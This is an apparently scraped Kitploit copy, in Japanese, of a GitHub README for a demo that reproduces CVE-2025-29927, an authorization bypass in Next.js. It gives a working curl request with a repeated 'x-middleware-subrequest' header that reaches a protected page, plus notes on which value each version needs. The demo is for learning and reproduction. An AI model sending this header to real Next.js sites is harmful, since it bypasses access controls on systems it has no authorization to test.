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cve-2025-29927-demo — Next.js における認可バイパスの脆弱性 CVE-2025-29927 を再現するデモです。 | Kitploit
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GitHubt3tra-dev/cve-2025-29927-demo

cve-2025-29927-demo

Next.js における認可バイパスの脆弱性 CVE-2025-29927 を再現するデモです。

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41年前未レビュー

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cve-2025-29927-demo

Next.js における認可バイパスの脆弱性を再現するデモです。

当該脆弱性についての詳細は Next.jsの脆弱性CVE-2025-29927まとめ を参照してください。

脆弱性の再現方法

  1. このリポジトリをクローンします。
root@kitploit:~
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
  1. サーバーを起動します。
root@kitploit:~
npm install
npm run dev
  1. curl 等を用いて x-middleware-subrequest ヘッダーを付与したリクエストを送信します。
root@kitploit:~
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected

これにより認可バイパスが発生し、/protected ページにアクセスできるようになります。

middleware の値は Next.js が認識するミドルウェアの名前です。このデモアプリでは middleware という名前のミドルウェアが存在しているため、この値を指定することで認可バイパスが発生します。

[!TIP] Next.js 15.x では MAX_RECURSION_DEPTH が 5 に設定されているため、middleware の値を 5 回以上 : で区切って繰り返す必要があります。古いバージョン (14.x) では単に「 middleware 」だけで十分でした。このデモアプリでは Next.js 15.2.2 が使用されているため、このような値が必要です。

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